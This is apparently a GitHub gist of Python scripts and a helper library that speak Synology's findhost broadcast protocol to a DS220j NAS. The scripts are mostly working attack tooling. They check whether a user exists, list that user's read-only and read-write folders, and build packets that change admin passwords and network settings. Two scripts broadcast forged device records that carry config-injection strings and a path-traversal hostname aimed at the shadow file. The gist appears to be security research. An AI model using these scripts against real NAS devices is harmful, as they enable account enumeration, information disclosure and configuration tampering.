Skip to content

Instantly share code, notes, and snippets.

@Dil4rd
Last active February 4, 2021 10:38
Show Gist options
  • Save Dil4rd/8e25d3ae467927103a50a787650ad350 to your computer and use it in GitHub Desktop.
Save Dil4rd/8e25d3ae467927103a50a787650ad350 to your computer and use it in GitHub Desktop.
Synology NAS DS220j. synofind python scripts
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import synofind
interface='eno1'
nas_mac=None
if len(sys.argv) < 3:
print('Error, username and NAS MAC required!')
print(f'Example: {__file__!s} admin 00:11:22:33:44:55 eth1')
sys.exit(2)
# configure interface
if len(sys.argv) == 4:
interface = sys.argv[3]
# get username and NAS MAC address
username = sys.argv[1].encode('utf8')
nas_mac = sys.argv[2].encode('utf8')
# get folders
ro_folders = synofind.list_ro_folders(nas_mac, username, interface)
rw_folders = synofind.list_rw_folders(nas_mac, username, interface)
print('All folders:')
for fld in ro_folders:
if fld.id == 75:
print(f'\t- {fld.value.decode("utf8")}')
print('Read-write folders only:')
for fld in rw_folders:
if fld.id == 75:
print(f'\t- {fld.value.decode("utf8")}')
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import synofind
interface='eno1'
nas_mac=None
if len(sys.argv) < 3:
print('Error, username and NAS MAC required!')
print(f'Example: {__file__!s} admin 00:11:22:33:44:55 eth1')
sys.exit(2)
# configure interface
if len(sys.argv) == 4:
interface = sys.argv[3]
# get username and NAS MAC address
username = sys.argv[1].encode('utf8')
nas_mac = sys.argv[2].encode('utf8')
# check user exists
exist = synofind.check_user_exists(nas_mac, username, interface)
if exist:
print(f'User {sys.argv[1]!r} exists')
else:
print(f'No such user {sys.argv[1]!r}')
sys.exit(1)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import synofind
import pprint
interface='eno1'
nas_mac=None
if len(sys.argv) < 2:
print('Error, NAS MAC is required!')
print(f'Example: {__file__!s} 00:11:22:33:44:55 eth1')
sys.exit(2)
# configure interface
if len(sys.argv) == 3:
interface = sys.argv[2]
# get NAS MAC address
nas_mac = sys.argv[1].encode('utf8')
# get device info
info = synofind.query_info(nas_mac, interface)
pprint.pprint(info)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
from struct import *
from ipaddress import IPv4Address
from scapy.all import *
from collections import namedtuple
SynoField = namedtuple('SynoField', ['id', 'value'])
MAGIC = b'\x124VxSYNO'
def swap32(x):
return (((x << 24) & 0xFF000000) |
((x << 8) & 0x00FF0000) |
((x >> 8) & 0x0000FF00) |
((x >> 24) & 0x000000FF))
def pack_field_str(fid: int, fdata: bytes) -> bytes:
fhdr = pack('BB', fid, len(fdata))
return fhdr + fdata
def pack_field_u32(fid: int, value: int) -> bytes:
fhdr = pack('BB', fid, 4)
return fhdr + pack('<I', value)
def gen_cmd_1(mac_addr: bytes) -> bytes:
packet = MAGIC
packet += pack_field_u32(1, 1) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
return packet
def gen_cmd_3(mac_addr: bytes, username: bytes, password: bytes, hostname: bytes, ip: str, netmask: str, gateway: str, dns: str, is_dhcp: bool) -> bytes:
packet = MAGIC
packet += pack_field_u32(1, 3) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_u32(194, 0xffffff) # some value
packet += pack_field_str(74, username) # NAS user name
packet += pack_field_u32(32, 1 if is_dhcp else 0) # static/dhcp
packet += pack_field_str(33, hostname) # new NAS host name
packet += pack_field_u32(34, swap32(int(IPv4Address(ip)))) # new IP
packet += pack_field_u32(35, swap32(int(IPv4Address(netmask)))) # new netmask
packet += pack_field_u32(36, swap32(int(IPv4Address(gateway)))) # new gateway
packet += pack_field_u32(37, swap32(int(IPv4Address(dns)))) # new dns
packet += pack_field_str(41, mac_addr) # NAS MAC address
packet += pack_field_str(42, password) # NAS user password
return packet
def gen_cmd_4(mac_addr: bytes, password: bytes, hostname: bytes, ip: str, netmask: str, gateway: str, dns: str, is_dhcp: bool) -> bytes:
packet = MAGIC
packet += pack_field_u32(1, 4) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
packet += pack_field_str(26, password) # new NAS admin password
packet += pack_field_u32(16, 1 if is_dhcp else 0) # static/dhcp
packet += pack_field_str(17, hostname) # new NAS host name
packet += pack_field_u32(18, swap32(int(IPv4Address(ip)))) # new IP
packet += pack_field_u32(19, swap32(int(IPv4Address(netmask)))) # new netmask
packet += pack_field_u32(20, swap32(int(IPv4Address(gateway)))) # new gateway
packet += pack_field_u32(21, swap32(int(IPv4Address(dns)))) # new dns
return packet
def gen_cmd_5(mac_addr: bytes, username: bytes) -> bytes:
packet = MAGIC
packet += pack_field_u32(1, 5) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
packet += pack_field_str(74, username) # NAS user name
return packet
def gen_cmd_7(mac_addr: bytes, username: bytes, password: bytes) -> bytes:
packet = MAGIC
packet += pack_field_u32(1, 7) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
packet += pack_field_str(74, username) # NAS user name
packet += pack_field_str(26, password) # NAS user password
return packet
def gen_cmd_9(mac_addr: bytes, username: bytes) -> bytes:
packet = MAGIC
packet += pack_field_u32(1, 9) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
packet += pack_field_str(74, username) # NAS user name
return packet
def gen_cmd_13(mac_addr: bytes, username: bytes) -> bytes:
packet = MAGIC
packet += pack_field_u32(1, 13) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
packet += pack_field_str(74, username) # NAS user name
return packet
def gen_cmd_2(mac_addr: bytes, model_number: int, build: int, hostname: bytes, ip: str):
packet = MAGIC
packet += pack_field_u32(1, 2) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
packet += pack_field_u32(72, model_number) # model number
packet += pack_field_u32(18, swap32(int(IPv4Address(ip)))) # IP
packet += pack_field_u32(73, build) # build number
packet += pack_field_str(17, hostname) # hostname
return packet
def gen_cmd_6(mac_addr: bytes, model_number: int, build: int, hostname: bytes, ip: str):
packet = MAGIC
packet += pack_field_u32(1, 6) # command
packet += pack_field_u32(0xa4, 0x01000000) # some flags
packet += pack_field_str(25, mac_addr) # NAS MAC address
packet += pack_field_u32(72, model_number) # model number
packet += pack_field_u32(18, swap32(int(IPv4Address(ip)))) # IP
packet += pack_field_u32(73, build) # build number
packet += pack_field_str(17, hostname) # hostname
return packet
def parse_packet(buf: bytes):
if len(buf) < len(MAGIC):
return None
if buf[0:len(MAGIC)] != MAGIC:
return None
pkt = []
off = len(MAGIC)
while off < len(buf):
# check for wrong format
if off + 2 > len(buf): return None
fid, flen = unpack('BB', buf[off: off+2])
# check for wrong format
if off + 2 > len(buf): return None
pkt.append(SynoField(fid, buf[off+2: off+2+flen]))
off += flen + 2
return pkt
def check_user_exists(mac_addr: bytes, username: bytes, iface: str) -> bool:
msg = gen_cmd_9(mac_addr, username)
send_msg(msg, iface)
#
in_msg = recv_msg()
in_pkt = parse_packet(in_msg)
# find and check error field
for fld in in_pkt:
if fld.id == 31:
return unpack('<I', fld.value)[0] == 0
return False
def list_rw_folders(mac_addr: bytes, username: bytes, iface: str) -> list:
msg = gen_cmd_5(mac_addr, username)
send_msg(msg, iface)
in_msg = recv_msg(10)
return parse_packet(in_msg)
def list_ro_folders(mac_addr: bytes, username: bytes, iface: str) -> list:
msg = gen_cmd_13(mac_addr, username)
send_msg(msg, iface)
in_msg = recv_msg(10)
return parse_packet(in_msg)
def query_info(mac_addr: bytes, iface: str) -> list:
msg = gen_cmd_1(mac_addr)
send_msg(msg, iface)
rmsg = recv_msg(10)
return parse_packet(rmsg)
def send_msg(message: bytes, iface: str):
raw_msg = Ether(dst='ff:ff:ff:ff:ff:ff')/IP(dst='255.255.255.255')/UDP(sport=RandShort(), dport=9999)/message
sendp(raw_msg, iface=iface, verbose=False)
def recv_msg(timeout=2) -> bytes:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('',9999))
sock.settimeout(timeout)
data, _ = sock.recvfrom(1024)
sock.close()
return data
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import synofind
import pprint
interface='eno1'
nas_mac=None
if len(sys.argv) < 2:
print('Error, NAS MAC is required!')
print(f'Example: {__file__!s} 00:11:22:33:44:55 eth1')
sys.exit(2)
# configure interface
if len(sys.argv) == 3:
interface = sys.argv[2]
# get NAS MAC address
nas_mac = sys.argv[1].encode('utf8')
#### generate fake devices (cmd 2) ####
# add normal record
msg = synofind.gen_cmd_2(nas_mac, 1, 240, b'device2', '10.0.0.2')
synofind.send_msg(msg, interface)
# inject record
msg = synofind.gen_cmd_2(nas_mac, 0, 0, b',,\n1,240,inj,10.0.0.100,', '10.10.10.10')
synofind.send_msg(msg, interface)
# break config structure
msg = synofind.gen_cmd_2(nas_mac, 1, 240, b'bad_ip,t.co,,', '10.10.10.10')
synofind.send_msg(msg, interface)
# add one more normal record
msg = synofind.gen_cmd_2(nas_mac, 1, 240, b'device2', '10.0.0.222')
synofind.send_msg(msg, interface)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import synofind
import pprint
interface='eno1'
nas_mac=None
if len(sys.argv) < 2:
print('Error, NAS MAC is required!')
print(f'Example: {__file__!s} 00:11:22:33:44:55 eth1')
sys.exit(2)
# configure interface
if len(sys.argv) == 3:
interface = sys.argv[2]
# get NAS MAC address
nas_mac = sys.argv[1].encode('utf8')
#### generate fake devices (cmd 6) ####
# add normal record
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'device6', '10.0.0.6')
synofind.send_msg(msg, interface)
# do config injection
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'hh,172.16.0.10,ff:ff:ff:ff:ff:ff\n', '10.0.1.6')
synofind.send_msg(msg, interface)
# try path traversal in the hostname
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'..\..\etc/shadows', '10.0.66.6')
synofind.send_msg(msg, interface)
# add normal record
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'device6', '10.0.0.66')
synofind.send_msg(msg, interface)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment